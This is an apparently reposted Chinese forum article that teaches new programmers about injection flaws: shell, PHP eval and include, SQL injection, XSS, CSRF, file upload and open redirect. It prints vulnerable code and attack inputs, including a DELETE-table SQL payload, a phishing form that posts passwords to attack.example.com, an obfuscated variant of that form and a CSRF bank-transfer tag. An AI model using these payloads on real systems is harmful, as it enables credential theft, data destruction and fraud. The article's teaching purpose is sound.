程序员疫苗:代码注入
3648 点击·1 回帖
![]() | ![]() | |||||||||||||||||||||||
![]() | 几个月前上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。 我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。 Shell注入 我们先来看一段perl的代码: [table=543,#ffffff,,0][tr][td]1 2 3 4 5 6 7 8 9 10 11[/td][td]use CGI qw(:standard); $name = param('name'); $nslookup = "/path/to/nslookup"; print header; if (open($fh, "$nslookup $name|")) { while (<$fh>) { print escapeHTML($_); print "<br>\n"; } close($fh); }[/td][/tr][/table]如果用户输入的参数是: [table=543,#ffffff,,0][tr][td]1[/td][td]coolshell.cn%20%3B%20/bin/ls%20-l[/td][/tr][/table]那么,这段perl的程序就成了: [table=543,#ffffff,,0][tr][td]1[/td][td]/path/to/nslookup coolshell.cn ; /bin/ls -l[/td][/tr][/table]我们再来看一段PHP的程序: [table=543,#ffffff,,0][tr][td]1 2 3[/td][td]$myvar = 'somevalue'; $x = $_GET['arg']; eval('$myvar = ' . $x . ';');[/td][/tr][/table] 再来看一个PHP的代码 [table=543,#ffffff,,0][tr][td]1 2 3 4 5 6[/td][td]$isadmin= false; ... ... foreach ($_GET as $key => $value) { $$key = $value; }[/td][/tr][/table]如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。 再来看一个PHP的示例: [table=543,#ffffff,,0][tr][td]1 2 3 4[/td][td]$action = 'login'; if (__isset( $_GET['act'] ) ) $action = $_GET['act']; require( $action . '.php' );[/td][/tr][/table]这个代码相当危险,攻击者有可能可以干这些事:
PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。 SQL注入 SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。 在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:
某个网站的登录验证的SQL查询代码为 [table=543,#ffffff,,0][tr][td]1 2[/td][td]strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"[/td][/tr][/table]用户在登录时恶意输入如下的的用户名和口令: [table=543,#ffffff,,0][tr][td]1[/td][td]userName = "' OR '1'='1";[/td][/tr][tr][td]1[/td][td]passWord = "' OR '1'='1";[/td][/tr][/table]此时,将导致原本的SQL字符串被解析为: [table=543,#ffffff,,0][tr][td]1 2[/td][td]strSQL = "SELECT * FROM users WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"[/td][/tr][/table]也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。 [table=543,#ffffff,,0][tr][td]1[/td][td]strSQL = "SELECT * FROM users;"[/td][/tr][/table]这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如: [table=543,#ffffff,,0][tr][td]1[/td][td]username= "' ; DELETE FROM users; --";[/td][/tr][/table]这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。 所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得这篇文章里的SQL注入? 图片:20121212103313384.jpg ![]() 当他们发现一个网站有SQL注入的时候,他们一般会干下面的事:
如何避免
跨网站脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。 假如我们有这样一段PHP的代码: [table=543,#ffffff,,0][tr][td]1 2[/td][td]$username = $_GET['username']; echo '<div> Welcome, ' . $username . '</div>';[/td][/tr][/table]那么我们可以这样来注入: http://trustedSite.example.com/welcome.php?username=<Script Language=”Javascript”>alert(“You’ve been attacked!”);</Script> 甚至这样: http://trustedSite.example.com/welcome.php?username=<div id=”stealPassword”>Please Login:<form name=”input” action=”http://attack.example.com/stealPassword.php” method=”post”>Username: <input type=”text” name=”username” /><br/>Password: <input type=”password” name=”password” /><input type=”submit” value=”Login” /></form></div> 这会让网页显示以下内容: [table=638,#ffffff,,0][tr][td]1 2 3 4 5 6 7 8 9 10[/td][td]<div class="header"> Welcome, <div id="stealPassword">Please Login: <form name="input" action="attack.example.com/stealPassword.php" method="post"> Username: <input type="text" name="username" /> <br/> Password: <input type="password" name="password" /> <input type="submit" value="Login" /> </form> </div> </div>[/td][/tr][/table]注入的代码还有可能变种为如下这种更为隐蔽的方式(unicode码): trustedSite.example.com/welcome.php?username=<script+type=”text/javascript”> document.write(‘\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073 \u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064 \u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067 \u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D \u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063 \u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F \u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D \u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061 \u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068 \u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070 \u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D \u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079 \u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061 \u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065 \u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073 \u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075 \u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073 \u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022 \u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E \u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D \u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C \u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F \u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D’);</script> XSS的攻击主要是通过一段JS程序得用用户已登录的cookie去模拟用户的操作(甚至偷用户的cookie)。这个方式可以让用户在自己不知情的情况下操作了自己不期望的操作。如果是网站的管理员中招,还有可能导致后台管理权限被盗。关于其中的一些细节可以参看《新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。 XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。 另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》) [table=543,#ffffff,,0][tr][td]1 2 3 4 5[/td][td]<table background=”javascript:alert(1)”> <meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾ <img src=”javascript:alert(1)”>[/td][/tr][/table]XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的) 于是,如果我在A站点内的某个贴子内注入这么一段代码: [table=591,#ffffff,,0][tr][td]1[/td][td]<img src="http://bank.example.com/transfer?account=XXX;amount=1000000;for=haoel">[/td][/tr][/table]很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。 如何避免 要防止XSS攻击,一般来说有下面几种手段:
上传文件 上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。 举个例子:
1)限制上传文件的文件扩展名。 2)千万不要使用root或Administrator来运行你的Web应用。 URL跳转 URL跳转很有可能会成为攻击利用的工具。 比如下面的PHP代码:
于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。
解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。 你可以看看google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好) (本篇文章结束) 这段时间工作和家里的事比较多,所以时间有限,更新不快,而此篇行文比较仓促,欢迎大家补充,并指出我文中的问题。 | |||||||||||||||||||||||
![]() | ![]() |